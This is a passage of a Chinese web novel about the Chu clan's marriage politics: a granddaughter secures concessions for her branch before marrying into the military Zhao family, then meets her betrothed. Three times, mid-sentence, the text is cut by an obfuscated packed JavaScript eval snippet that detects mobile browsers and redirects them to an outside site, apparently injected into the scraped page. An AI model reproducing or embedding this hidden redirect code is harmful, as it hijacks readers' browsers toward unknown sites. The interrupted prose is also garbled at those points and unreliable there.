“伯父连自己的小家都管不好,还能管好褚家这样的大族,能管好国朝天下吗?此等情境,小宗取代大宗,亦未尝不可也!” 4. 第 4 章 褚蕴之早就猜到了褚鹦想要的东西是什么。 看着悲切哀伤的次子,再看看瞠目结舌的长子,他心里百味交织。 再看看堂下目光坚定、毫不失态的小娘子,他竟觉得这娘子可怜可爱。 每遇大事有静气,这样临危不乱的风度,姿态潇洒坦荡,宛若玉山松柏,虽无女子婉柔之美,却有君子的从容风致。 在朝堂上沉浮多年,褚蕴之不是没有遇到过各种各样的无妄之灾。 可作为一家之主,他知道,哭恸呐喊是没有用的,他必须冷静下来,安步当车,寻求解决问题的方法。 他这个小孙女言辞辛辣,竟让他想起了自己与衮衮诸公辩论时的情景。 唇枪舌剑,天花乱坠,言语如刀,姿态却温和。 褚鹦确实像他。 她眉目悲悯慈和,宛若慈航观音,说出的话却像刀剑。 “世上只闻缇萦救父,未闻侄女为伯父报恩的典故!斑鸠喜鹊,复杂混乱,共处一巢,真正聪敏明智之人是不会将两者认错的。不知大父和伯父,认为我是敏是愚?” 褚蕴之忍不住心中赞叹,这隐喻着实不错,堂下这孩子聪敏捷达,绝非寻常娘子。只可惜身为女郎,无缘庙堂。 看到父亲和悦起来的眉眼,褚定方乱了阵脚。 这娘子真能胡言乱语,父亲不会听信她的鬼话吧? 什么小宗取代大宗!若真如此,还不如像二弟说的那样,直接鱼死网破,一了百了好了。 “父亲,这娘子胡言乱语,您何必当真!我们不若,不若……对了,不若让我儿子入赘赵家,左右我有四个儿子,随便挑一个庶子过去……” 啪,啪,啪。 褚蕴之连着打了褚定方三个耳光。 褚定方白净的面皮瞬间肿胀起来。 他脸上红的红、青的青,紫的紫,活像开了染坊,连带着头上的血迹,瞧着尤为狼狈。 褚蕴之一点都不心疼长子。 褚定方平日温文,遇到事情居然这么优柔,在褚蕴之心里,褚定方已经大大失分了。 思及这么多年积累下来的失望,再看看堂中可怜的二房夫妇,还有这么类他的小娘子,褚蕴之终于放弃了支持大宗的想法,做出了最终的决断。 “我会让你伯父致仕,但你大堂兄不可以,他自有他的前程。” “原本留给长房的机会和国子学名额都留给你兄弟。过些日子,我会活动关系,让你父亲做东安太守,让你哥哥做凤阁舍人。” “财货方面的事,我全都答应了。” “四娘的嫁妆全都给你,陈郡的祖产也给你一半。但祭田和学田不能动,那是我们家传家根本,不可轻与。” “你大伯母病了,会去佛堂里尊养,无事不能出。” “至于你四姐姐……发挥一下废物的作用吧,王家还要名声,就要把她娶回去!给她准备一份简薄嫁妆,我们家和王家的联姻不能断了。” “五娘,你要了这么多好处,想来已经心气渐平。这件事,你能接受吧?” 褚鹦脸上终于浮现出笑意。 “当然,大父,理当如此。” “你是个聪明娘子,又受了委屈,我弥补二房是理所应当的事情。接下来的日子里,你且安心待嫁,其他的事情我会处理。至于褚鹂,让她为你侍奉洒扫,也让你出一口恶气?” 褚鹦摇了摇头:“不,大父,我不愿见她。就让四姐姐好好养胎吧,一个流淌两家血脉的孩子很重要,不是吗?” 这女郎对那王家小儿绝对没有半点情意。 看着老二一家三口离开明谨堂的背影,褚蕴之不由产生出这样的想法。 可这又有什么呢? 他褚蕴之的孙女,不就应该这样吗? 总不至于都像褚鹂那样无耻,都像褚定方那样优柔吧? 在二房一家回静园的路上,褚定远心里难受极了。 终究是自家没用,才让五娘如此牺牲。若我为公候,五娘哪还用这般牺牲计较? 他没把心中想法宣之于口,只落寞地垂下眼睫,轻轻抚摸女儿发顶。 回到正房后,杜夫人拉着女儿在紫檀福禄炕桌边上坐下,喟叹道:“你这孩子,每日里怎么操这么多的心。” 若不是整日操心,怎能知晓那么多故事? 褚鹦搂住二夫人的胳膊:“阿母,我觉着嫁到赵家也蛮好。不就是当兵的吗,这有什么?我这样喜金石奢华的女子,难道能和琴棋书画样样精通的才子说到一起去?” “我家得了这样多的好处,就算赵家日后跌落云端,也不会少了我的富贵安稳。” “五娘,你说的这些道理,我并非不明白。可我还是不甘,那是个兵家子,纵然赵州牧权重,可是……” “阿母,前朝天下大乱之时,颍川田家曾被义军给搞得家破人亡!如今北方三国并立、南方动荡不休,说不得日后,只有这手里有兵的才最安全的呢!” “什么事都要往好处想,你想,那赵家是庶族寒门,兵家子的出身,和咱们门不当户不对。我嫁过去,他们定会尊重我,他们想要的不,就是我们大族的礼教门风吗?” “就算未来褚家分家,以阿父的本事,说不得都已经当上公候了!有阿母这般爱我,有家中父兄撑腰,赵家人哪个敢欺我?” “阿母……”她放软了声调,扯着二夫人的袖子撒娇:“您就不要担心了,女儿会把日子过好的。” “咱们一家子高高兴兴的,才能让大父知道咱们心里没有怨怼。更何况,我根本不想嫁给王荣!那王三在两家有结亲默契后,还能与四姐私通,这样为了情爱不管不顾的人,想来也不是什么君子。这样的男人,我褚五才看不上。” 女孩子眉眼盈盈,却惹得她父母双亲喟然长叹。 他们的目光里面有骄傲,更有伤感。 他们既希望她如此好,又盼着她骄纵自我些。人的感情就是这样的复杂,又是这样的矛盾…… 眼下正是初秋时节,天气并不寒凉,芦橘杨梅刚刚成熟,秋蟹正肥,到了晚饭时,静园摆了一桌好螃蟹,并几道荤素精致小菜,精雕细琢面点。 另有一小壶烫得滚热的菊花酒,全都是褚鹦喜爱的吃食。 “阿父怎么不在?” 褚鹦吃了一口蟹黄后,疑惑地问杜夫人。 “你阿父去俞右任那里去了,说是要为你淘些豫州的田庄。你大父给你的嫁妆都是徐郡和建业产业,你用着终究不方便。俞公在豫州做过官,做这些事情很便宜。” “娘嫁妆里有一处酒庄,同样为你添妆,说起来,这还是你外祖母给我的陪嫁。” 褚鹦没客套推脱,只给二夫人剥了一只蟹,大大方方笑道:“我就知道阿父阿母最疼我了!” 父母为子女计,必为之考虑久远。 金银财物的陪嫁再多,也比不得土地田庄是长长久久的进项。 褚鹦要嫁到赵家去,可那豫州比不得上京繁华富庶。褚定远夫妇拦不住女儿一心要嫁,只得给她准备衣食住行从头到脚的嫁妆,好让女孩子到西北后也能舒舒服服的生活。 因为褚鹦不愿见褚鹂,褚蕴之命人把褚鹂关了起来。 他让褚鹂在自己院子里抄经文绣嫁衣,好好跟嬷嬷学规矩。 褚鹂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285500|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里很痛苦,母亲被禁足,她的嫁妆总价不值一百贯。但她终究还是心满意足的。 因为她不用嫁给赵家的卑伧之子,她能嫁给她倾心的王家玉郎。 至于父亲的损失,她并不怎么在乎。 她又不是褚定方的儿子,根本继承不到褚定方的政治遗产,又何必牺牲自己,给大哥做嫁衣? 只要不让她嫁赵家,她做什么都行。 自从得知这桩婚事后,她就痛恨父亲把她当做报恩的筹码。 如今,她也算是报复了父亲。 王家那边更是头疼。 白氏相中了褚五娘子,王家上下对未来三儿媳的人品很满意。 他们原本都准备下聘了,结果王荣这个混账,居然和人家堂姐勾搭到了一起! 暗通曲款,私定终身。 这两个词哪个好听? 这两个混账行子,真是狠狠地打了他们两家的颜面。 若只如此,王正清还不用头疼至此。 如果只是两个孩子私定终身,那么褚家和王家都理亏。王荣不要脸皮,引诱人家女儿。可苍蝇不叮无缝的蛋,褚鹂也干净不到哪里去。 可他家那个,生来就是过来向他们讨债的…… 前天他家那个讨债鬼和褚家娘子私会,被褚家人抓到。把王荣扔出门时,褚蕴之怒发冲冠,扬言要把褚鹂给溺死。 他家那个讨债鬼抱着褚蕴之的大腿,哭着闹着、拼死拼活要娶褚鹂,还求褚蕴之饶过褚鹂的性命。 等回家后,王荣更是了不得了!他竟直接玩起了以死相逼的那一套。 王正清恨不得直接打死这个混账,可这混账一拿刀子往脖子上面比,老太太就嚎啕大哭起来,还拍着大腿喊莫不如一根白绫吊死了事,最后竟晕过去了。 醒来后更是对他说,要是荣哥儿出了毛病,她就不活了。 王正清这人至诚至孝,为了母亲的安危,他不得不在凤阁里做小伏低地向褚蕴之表示,请褚蕴之把他们家四娘子嫁到王家来。 他脸上火辣辣的,感觉这辈子的面子全都丢了个干净。 为了让褚蕴之点头,他还要去暗示褚蕴之会出让一些利益作赔礼,说出这等无耻的请求。即便如此,人家是否接受,都还在两可之间。 曾经从圣人那里学来的礼义廉耻都在他的脑海里面嘲笑他。 但他又能怎么办? 做这样的事情违背了他的本心,可他又不能去违背母亲的意愿…… 母亲的身体才是最重要的。 万一他家那个讨债的真做了傻事,他母亲再跟着出了事…… 到时候他就算后悔都来不及了。 “玉山,还在忙吗?” 褚蕴之桌上公文很厚,听到声音后起身拱手道:“王相。” 王正清把人扶起,再次客气试探:“玉山何必和我这般客气?以咱们两家的关系,哪用这样多礼?” 褚蕴之挑眉看他,王正清语气讪讪,继续硬着头皮道:“家中可还好?” “好的很!” 褚蕴之轻讽道:“托您家三郎的福,好的很。” 然后,他对王正清说了一个让他十分惊讶的消息。 “等到定方致仕后,我会推选定远做东安太守,推选阿清做凤阁中书。” 致仕?东安太守?中书舍人? 褚蕴之要褚定方致仕,让褚定远出仕大郡,又把褚清塞进进中书省? 他这是要做什么? 即便褚四抢了褚五的夫婿,褚家长房理亏,但也没有到让褚定方甘愿如此退步的程度! 这里面,一定还有别的事情! 5. 第 5 章 “你怎么会这么做?难道你要放弃你家长房了?” 虽然这么问了,但王正清还是不信褚蕴之会废长立幼。他思绪不知飘到了哪里,忽然灵光一闪:“还是说你家老二愿意效法郑文穆?” “你舍得?你家老二那么好的苗子,你居然舍得糟蹋?” 比起褚蕴之废长立幼,王正清更不信褚蕴之愿意把老二留给褚家满门吸血。 扯出被激动的王正清拽着的宽袍大袖,褚蕴之轻声答道:“都不是。” “我家大郎做尹城令时遭遇胡虏攻城,是赵元英救了他的性命。” “为了报答恩情,老大与赵元英约为儿女亲家——这是赵元英主动要求的。当时我不肯答应,是老大跪着求我我才松口的。” “现在倒是好,我家那个不成器的混账和你家公子暗通款曲,赵家那边已经嫁不得了。” “赵元英爱重他家嫡长,孩儿不到五岁就请封了世子之位。如今我家门庭出了这等龌龊之事,赵方伯岂肯罢休?” “为了褚家清望,我家只能让五娘子嫁过去。二房受了委屈,我心里不落忍,自要补偿。” “老大唯有守成之功,了无进取之能,本就令我不满。如今内帏不修,更是让我愤懑。我废长立幼,本就是理所应当的事。” “至于长房,我也没放弃,他们家不是还有阿江吗?” “和你说这么多家门不幸,只是想告诉王公,你家欠我家的,远比王公想象的要多。我家老二的事,你必须仔细帮忙。” 竟是这样吗? 若这样,一切就都说得通了。 时人重诺,救命之恩自当涌泉相报。 即便赵元英在挟恩求报,褚家最后还是答应了他的条件。 谁让褚定方想要保住自己的名声,谁让当时的褚蕴之不想放弃长子呢? 但褚定方只有一个女儿,这个女儿还犯了大错……这可真是王褚两家家宅不幸啊! 那么,褚家的嫡女,就只剩下褚定方的侄女了。 可是,如果褚蕴之逼迫褚定远把女儿嫁给兵家子,不作任何补偿的话,恐怕褚定远当即就会翻脸。 比起兄弟阋墙的不幸,还不如直接废长立幼。 至少以后,褚蕴之再也不用纠结把资源给哪个儿子才算公平了。 而那褚定方才能只是中人,这么多年来,褚蕴之对褚定方的不满恐怕已经盈满心房了吧? 聪明人最容忍不了的,就是蠢货俗物,王正清理解褚蕴之,最开始,他不是也想把家中三郎直接打死吗? “赵家想娶的娘子,必是褚家嫡枝。四娘惹出了这样的事,只有五娘能够解决现在的尴尬局面。” “五娘的条件,就是让她父亲以小宗代大宗,我已经答应了。” 王正清颇为愕然。 这条件竟不是褚定远提的?而是那女孩子提的吗? 若真如此,这褚家五娘还真是机敏。 竟然抓住了这么好的时机,为她们一房博取到了最大的利益。 唉,他家那蠢物永远不知道他错过了什么! 这女孩儿若是儿郎,说不定就是下一个褚蕴之。 就算不是儿郎,亦能帷内筹谋、执掌中馈,做王沈宗妇都是够格的。 现在这女孩子却要便宜赵家了…… “我会帮忙,但我们两家的婚事还要继续。一来王褚之门,名声不可轻堕。二来,玉山,我不瞒你,我家阿母以命相胁,我实在是没有更多招数应对。” “我家在南豫有产业,可送给贵府五娘添妆,就算是我家给五娘的赔礼。” “那我替五娘多谢王相公了。” 值房中,书墨味道经久不散。两个心眼比墨水还黑的人左右相对,脸上都散发着慈祥的光芒。 若不是紫袍蟒带,眸藏锐光,险些让人忘了,这两人俱是刀山火海中闯过来的世家家主,国朝卿候。 真是会伪装。 一月后,南豫州,康安坊。 收到建业来信,得知儿媳妇要换人的消息后,赵元英没有生气。 褚家四娘和五娘都是褚门嫡支,对他来说,无论是谁嫁过来,都没有什么区别。 当然,他救下的褚定方只是庸碌俗流。若他家娘子随了父亲,说不定还会让他头疼。 而那褚五的父亲褚定远乡议三品,文辞优美,说不定这五娘还要比四娘好上许多呢。 因而赵元英立即回信表示自己同意褚家的安排。 只那东安太守之位,是他给儿子的泰山准备的。如今赵家宗妇换了人,东安太守也得换人! 当他不知道呢,什么八字不合,都是虚伪借口!必是那褚四看不上赵家门第,行差踏错,才换了五娘嫁与我家! 不过,这样也好。 他家阿郎天资粹美,何必俯就不愿意嫁过来的娘子? 他京中的细作传信,说褚相公家长子致仕,想来这就是二房五娘愿意嫁过来的条件。 不论那褚家二房是为了什么,心甘情愿总比不情不愿好上许多。否则,谁知道日后会出现什么丑事? “去,把大郎叫来。” “诺。” 健仆打着伞,顶着大雨来到宁园,禀告道:“郎主请郎君去主院,有要事相商。” 经过几层通传,消息终于传到赵煊那里。 没过多久,赵煊从室内走出来。 他没穿时人爱穿的大袖衫袍,而是穿着华美的麒麟纹箭袖,显得十分干净利索。唇似红枫,目若点漆,想来兰陵王再世,也不过如此了。 赵煊握着十八骨红梅伞,走过抄手游廊,很快就来到主院父亲当前。 “你家娘子换人了,变成褚家五娘了。” “我的意思,是让你上京下聘,省得再出什么变故。顺便看看那娘子合不合你心意,要是不合心意,我家只管把她当菩萨供着,你随便纳娶小星……” 是的,赵元英之前和褚定方说过,若把褚家女郎下嫁,赵家许诺誓无异生之子。 但这只不过是个谎言。 赵煊是赵元英发妻遗留下来的孩子,由赵元英亲自抚养长大。 在他心里,赵煊如珠似宝,家里所有孩子都比不上赵煊。 他就算是自己受气,都舍不得赵煊委屈,又怎么可能任由儿媳妒忌? 只是赵煊这人,自小帮赵元英打理内政,有一股格外的古怪脾气。 现在,赵元英就听他儿子这样说:“多谢阿父好意,只是若那褚家女郎无错,我何必豢养小星?此项事由,花费颇多,极不划算,不若俭省钱财,用于兵备。” 是了,这就是赵元英的许诺脱口而出的原因。 有这样一个儿子,很容易在第一时间想到这样的保证。 “好吧,好吧。” 赵元英只好叮嘱抠门的儿子:“不论如何,你总要去看你媳妇吧?是美是丑,是愚是贤,只有见面才能知晓。” “下聘时更不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285501|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小气,褚家门高,我们赵家不能让都邑人家小瞧我家财力。” “阿父,儿子还记得我为什么聘娶褚家女郎。” 好吧。 有了这句保证,赵元英总算是放心了。 “等明日雨歇风住,阿郎就打点楼船启程南下。” “我名下有一太学名额,你去建业读书修习。待那娘子成人,便在建业完婚。” “褚家人入豫,需要看我的脸色;你去京中,必能被相公庇护。如此,才是两相其美。” 赵家人一内一外,可以保证军需安全。国朝气数未休,赵元英暂无篡逆之心。因此才琢磨着联姻五姓,一洗身上寒伧之气。 若在王朝末年,像赵元英这样脑生反骨的人,恐怕早就要肖法曹操了。 哪还会像现在这样,老老实实地镇守边疆,做个割据军阀就心满意足了呢? 建业都城,白鹤坊内,褚鹦正在打点到手的财货。 她算了算,她的嫁妆里,光钱就有十万贯,其余田土庄园、金玉异宝,更是数不胜数。 除此之外,还有一百健仆护卫,可以保障安全,远比普通奴婢有用。 如此一来,以前她想做却没有物力做的事情,现在都可以着手经办起来了。 早前跟随阿母杜夫人视察产业后,褚鹦就觉得钱庄里各项活计来钱甚快,而她想到了一个赚钱的好法子,就是做大宗金钱的票证。 时人大笔转运钱财,殊为不易。车载斗量,还要担心路遇悍匪。 若能制造票证,在建业与豫州一线转运财货,既有利于商人经商便宜,又能给钱庄积聚财货,绝对是一笔两相便宜的好买卖。 而作为转运财货之人,她不但能收取一笔巨额交易费用,还能用手里积聚的财货赢取孳息。 就算不提这些收益,只说事成后,她手里掌握的金钱和资源将到达一个难以估量的数字。 到时候,她能借此获得权力,情报,以及很多她想要的东西。 以前,她不敢想这件事。 因为褚家在地方力量薄弱,因为褚蕴之不可能跟她胡闹。 可现在她已经得到了褚蕴之的认可,人更要嫁到赵家去了,她那阿翁家的军队势力,还是能保住她的小小生意的。 她从来都是不安分的女郎。 她想要权力,想要金钱,想要证明自己,所以她才不甘心嫁给王三。 赵家是草创的乡野豪宗,那里才会有她施展才华的机会。 王家是积年的高门大户,并没有让门户中娇儿娇妇掌权的道理。 凭什么这世上就要乾阳为尊、坤德为卑呢?她偏偏不信命。 所以,在发现堂姐有意引逗王荣时,她选择视若无睹。最后才在发现堂姐呕吐后,揭发了这对小鸳鸯。 王荣那样的高门纨绔,绝不是她想要的郎主。 至于赵家郎君如何? 好也罢,坏也罢,反正她已经得到所有她想要的东西了。 即便赵家郎君糟糕透顶,她都捏着鼻子认了。 若那郎君还算不错,那便是苍天幸她,她自会去给道教师君塑造金身,捐输款项! 哦,对了,她会去楼观的道观。 肥水不流外人田,她那未婚夫的叔父,不就是楼观的真人吗? 在素帛上写好接下来的计划,装到盒子里面锁好。褚鹦吩咐贴身侍女阿谷、阿麦备水。 经久疲劳,她要沐浴更衣,好好休憩一下了。 6. 第 6 章 阿谷的声音从远处传来:“娘子,赵郎君到了。” 褚鹦放下描眉的黛笔,问身边的侍女阿麦道:“阿麦,我看起来怎么样?” “娘子风姿绝佳,仪容甚美,看起来非常好。” 这小娘子定是在“私我”![1] 褚鹦因自己的联想发噱,拨了拨自己腕上莹润的和田玉镯后,她起身走出静园三思楼。 楼外放着早就备好的抬舆,踏着红木轿凳坐上抬舆后,褚鹦拢了拢身上的斗篷。 阿谷很有眼色地提醒抬车的婆子们道:“娘子坐稳了,出发吧。” 赵煊这是第一次见到褚鹦,一开始他只遥遥看到檀木抬舆上面,穿着碧色莲纹斗篷的身影。 待轿子一步一步走近,又他身前落定后,一张芙蓉面活生生地映入他眼帘中。 这位刚刚走下抬舆的娘子画了黛色远山眉,眉心有红花钿,生着一双宜喜宜嗔的含情目。赤金步摇上垂下来的穗子在剥壳荔枝一样的脸颊旁轻轻晃动,衬得她人比花娇,愈发动人了。 褚五娘子非常美丽。 阿父说的胡话可以全然忘掉了。 赵煊趋步上前,款款行礼:“某豫州赵煊,拜见娘子。” 这郎君还真是个俊俏知礼的少年。 她赚大了。 想到这一点,褚鹦眉眼含笑。 她屈膝万福道:“褚五见过赵郎,中原豫州人物英杰,果非江东深闺所知。今日得见阿郎,方知世间尚有如此英伟!” 褚五娘子很会说话。 阿父说的胡话可以全然忘掉了。 某个看着人家姑娘衣鹤氅、乘抬舆,宛若姑射神仙的小郎君直接一见钟情、目成心许了。 耳边的声音比清商乐还美,赵煊难得被人夸到说不出话。 因为提前收到赵家送来的拜帖,此时褚家的郎主郎君们都在明谨堂内招待豫州来客。 在与赵煊寒暄后,褚蕴之派人去请褚鹦过来见礼。 听到褚蕴之的吩咐后,赵煊立即道:“煊自寒苦边州而来,不知江东大族礼数。但殷勤以待,总好过高坐堂前。不知相公可否放我稍离片刻,迎五娘子入内?” 褚蕴之表示同意。 说句实在话,赵煊英姿勃勃、风华正茂,看着不像兵家寒伧,反倒有大族宗子的气度。 对此,褚蕴之不是不惊讶的。 不过这样也好。 赵家郎君有姿有貌,或许还有才华度量,嫁与他家,总不算埋没了自家女郎。 相携步入堂时,褚鹦偷眼细瞧赵煊。 赵煊因二叔元美交游广阔,得以进入青鹿学院读书,他接受过关陇大儒传授的正统儒家教育,又进过赵元英的的军队,言谈举止既有礼数,又带着军人的爽朗利落,虽然还谈不上深刻,但足以让褚鹦满意。 而且这郎君生的得极好,长眉入鬓,凤眼生威,英姿勃发,没有半点阴柔之气。 这简直太好了! 褚鹦向来是不喜都中娘子们喜爱的敷粉玉郎的。 两人不着痕迹地偷看对方,一前一后走进明谨堂,又一同向几位家长行礼问安。 问安结束后,褚定远招手让褚鹦来他身边。 褚鹦听话地坐到自家阿父左手边,乖巧地笑了笑。 赵煊则坐回到刚才的位置上——就在褚定远下席,褚鹦身边。 两人挨在一起,金童玉女交相辉映,刺痛了褚定方的眼。 他女儿百般逃避,就是在逃避这样的郎君? 而且这郎君刚刚说了,接下来他要在建业太学读书,说不定还会在建业成婚入仕。 此前,他家那两个愚蠢妇人想象的,嫁到豫州受尽寒苦、遭受兵灾、威胁生命种种,可能根本不会发生。 但他们长房,却因为她们母女一时噱念失去所有。 唯一值得庆幸的,就是他们家阿江没有受到牵连…… 褚定方前所未有地憎恨褚鹂母女,失去权位后,他才知晓什么叫做势败休云贵,什么叫做门可罗雀,什么叫做拜高踩低。 而这一切,让褚定方对二房的人,包括赵煊这个准女婿,都露不出半点好脸。 偏生当年最痛恨赵家挟恩相报的褚蕴之,眼下对赵家子的态度极其和蔼,甚至要比对待亲孙子还要可亲。 “赵郎入都,可有住处?若入太学,不若住在我家?白鹤坊毗邻太学,郎君往来行走,极其便宜。” 赵煊坐定后,褚蕴之盛情邀请赵煊居家小住。 “多谢明公美意,只是煊入都前,阿父已经托人在建业康乐坊购买美业。一为某读书便宜,二为迎娶褚门贵女下降,不经受寒门清苦。因而,煊有长居之所,不用居于贵府,多有叨扰。” “待康乐坊宅邸修缮完毕,还要请褚明公与褚员外入园暖居,还有五娘子……” 第一次提出孟浪邀请,赵煊耳根都红了起来。 “还请五娘子轻移玉趾,不吝指点我家家居。” 听到赵煊的邀请后,褚定远紧绷的脸色松弛了下来。 这小子不会让阿鹦吃苦就好。 或许,这也算是他难得的优点了。 而且,这小子好像很喜欢他们家阿鹦? 这倒是正常,他家阿鹦无处不好,哪个小郎君会不喜欢? 唯有那王三是瞽叟盲翁,才会弃珍珠而取鱼目…… 不过,不论赵煊喜不喜欢阿鹦,他都得快点往上爬了。赵元英已是方伯,他不往上爬,怎么为女儿撑腰? 褚鹦笑吟吟道:“郎君盛情相邀,怎能却君美意?他日必携礼暖居。” 褚娘子的声音,竟比琴瑟琵琶还要好听。 念头在心头飞速滑过,赵煊连忙道:“娘子不必携带礼物抛费,赵某……” “无非是我家居时亲自酿的酒、亲自写的字画,没有多少抛费。阿郎不嫌弃,妾就心满意足了。” “不嫌弃,不嫌弃!” 这时候,他说话的声音又变大了。 语气颇为急促。 褚鹦轻轻笑了出来。 赵煊的耳朵被她笑得更红了。 看着未来女婿,褚定远只觉得糟心,他直接闭上了眼睛,只求一个眼不看心不静。 褚蕴之却不知道为什么,总觉得他们家五娘貌似玩得很开心? “当然开心。” 身后跟着一大群捧着赵家送来礼物的侍婢,褚鹦坐在抬舆上,对阿谷和阿麦道:“那郎君宛若未绽之荷,亭亭玉立含苞待放,哪家娘子不欢喜逗他?” “不过,依我所见,赵煊十有八九是装出来的羞涩。如此,我家父祖必然会觉得他是稚嫩雏鸦,进而对他放松心防。” “或许我猜的不对,冤枉了赵郎君。但就算猜对了也无所谓,甚至更好了。我褚鹦的夫君,怎么可以是蠢货?” 抵达三思楼后,青衣青裙的侍女们依次打开了那十多个盒子。 只见盒子里装满了珊瑚、玳瑁、珠翠、宝石首饰,还有两只装满道经典籍的大匣子。 赵家是寒门出身,就算想送孤本也很难找到。但那赵元美是楼观真人,弄来一些珍稀道经还是不成问题的。 而这份文质彬彬的礼物与那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285502|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 价值不菲的珠宝,足够彰显赵家对这门婚姻的重视。 “收起来吧。” “对了,这些道经暂且不用收起来。太后娘娘是俗家居士,且让我看看,这些书里有没有能让娘娘欢喜的经篇。” “诺。” 阿谷带着一群侍女前去库房清点礼物了,阿麦则带着几个丫鬟把一卷卷竹简拿到桌上铺开。 褚鹦想了想后,问阿麦道:“你们准备好给公主府和王内史的重阳节礼了吗?” “虽然我不再嫁给王三,但这些人情关系,总不能就因他而断。” “已经备好了,娘子。” “阿麦已经命健仆把碾玉观音送去隋国长公主府。王内史那边,我们送了林郎十匹绢。” 隋国长公主是太后娘娘的嫡亲女儿,褚鹦的忘年交。 除此之外,她还是白夫人的儿媳妇。 也就是王三郎的二嫂。 褚鹦是通过隋国长公主认识白夫人的。 现在褚鹦和王荣的婚事吹了,可这并不意味着褚鹦要断了过去的交际。 毕竟,她还想借着公主的手,搭上太后娘娘呢。 至于那位王内史,她姓王名典,原本进宫是要做娘娘的。 谁能想到,还没等到举行册封礼,先帝就山陵崩了。 换了旁家的女孩子,说不定要给先帝陪葬,可王内史姓王,所以逃过一死。 但也仅此而已了。 有这道阴影在,王典史不可能像正常人一样生活出嫁。 为了躲避议论讥谤,王典进宫做了女官。这些年每日应时点卯,事多位卑,种种烦心事数不胜数。 直到当今患了头风,太后临朝,王内史才时来运转,被太后提拔为内史,步入时局,过上了备受时人尊重的日子。 褚鹦要和她保持联系,主要是看重她在内廷里的人脉关系。 而那林郎君,自然是王典闲来无趣时候,豢养的面首了。 “去找徐掌事,让他派人接洽赵家仆人。他们家要修园子,我家趁机还能赚些银钱利是。” “而且,康乐坊是我以后的居所。旁人修葺的,哪有自家工匠修葺的上心?” 一边翻看《灵飞经》,褚鹦一边吩咐阿谷道。 阿谷点头称是,连忙出去办事。 娘子的未来居所不是小事,她必须把这件事交代得清楚明白。 她们家娘子本就是个雷厉风行的人,得到可支配的大笔嫁妆钱后,她们家娘子需要处理的、想要办好的事情越来越多,她们的闲暇时光,也一去不复返了。 不过这不是什么坏事,虽然她们每日多了不少活计,但娘子赏罚分明,她们这些人每月拿到的银钱,是府里其他人的两三倍不止。 因此,从来都没有人抱怨娘子的吩咐,她们巴不得娘子再多派下来许多活计呢! 秋山如黛,层林尽染。 每年这个时候,都是建业名家豪邸举办雅集的好时机。 维系好隋国长公主与王典的关系后,褚鹦总算有心思查看这几日被别家娘子送到她这里的请柬。 居然有这么多吗? 赵煊前脚入都,后脚这些请柬就被送了过来。 真是没想到,想看她笑话的人居然有这么多。 褚鹦轻轻摇了摇头。 恨人有笑人无?可她才不会让这些俗流看她笑话! “从赵家送来的礼物里拣选一套头面出来。” “明日我先去参加沈家女公子举办的金桂雅集。” 听到娘子说出的名字,阿麦松了口气:“诺。” 7. 第 7 章 时维九月,序属三秋,沈家桂园正芬芳馥郁。 沈细娘带几位亲密娘子赏桂折枝,赏玩途中,听人禀报褚家五娘到了的消息后,她瞬间失去了赏桂的兴致,一心要去嘲笑死对头。 短短一月时间,褚家和王家的婚姻就定了下来。 但嫁到王家的女郎却是褚四娘子,不而是褚五。 建业都城,哪家妇人不在嘀咕这件事? 那王门白氏看中的娘子分明是褚五! 没过多久,又听闻赵侯家公子入都,前往褚家相看褚五娘子。 高门贵眷,下嫁兵家,其中必有内情! 有人嘲讽褚家俯就俗流,有人惋惜褚五美玉蒙尘,但沈细娘只想看笑话。 从小褚鹦就压她一头,无论是在卫夫人处学习术法经义,还是在曹大家处学习琴瑟歌舞,亦或是在球场打马球在池塘里钓鱼摘莲蓬,她就没有比得过褚鹦的时候。 听母亲念叨“你怎么不和五娘学学”听到耳朵起茧子的沈细君一点都不想同情安慰褚五,只在心里默默想,我总算有一样比你强了。 我的未婚夫君诸葛茂可是乡议三品的名门公子,比那来自豫州边境的泥腿子强多了! 结果她刚来到门前迎接宾客处,就见到了精神奕奕的褚鹦。 她这死对头今天穿了藕粉色留仙裙,披着同色刺绣披帛,戴了一整套桂花样式的粉色碧玺头面,脸色红润,并无半点低落神态。 这对吗? 一见到她,她这死对头还上前握住她的手,亲热地道:“细娘在此等我多时,真是令我愧怍!只是前些日子研读楼观典籍,梦里云游仙境,不忍醒来,因而来迟,还望细娘勿要见怪于我。” 谁问你了? 谁问你了! 褚五娘,谁问你为什么来晚了? 我想问的是你对你那未婚夫君满不满意啊! 世人崇玄,听到褚鹦的话后,门口的宾客们饶有兴致的围了过来,嘁嘁喳喳道:“娘子游玄,有何盛景?我等俗人,是否有幸听娘子讲述仙家玄妙?” 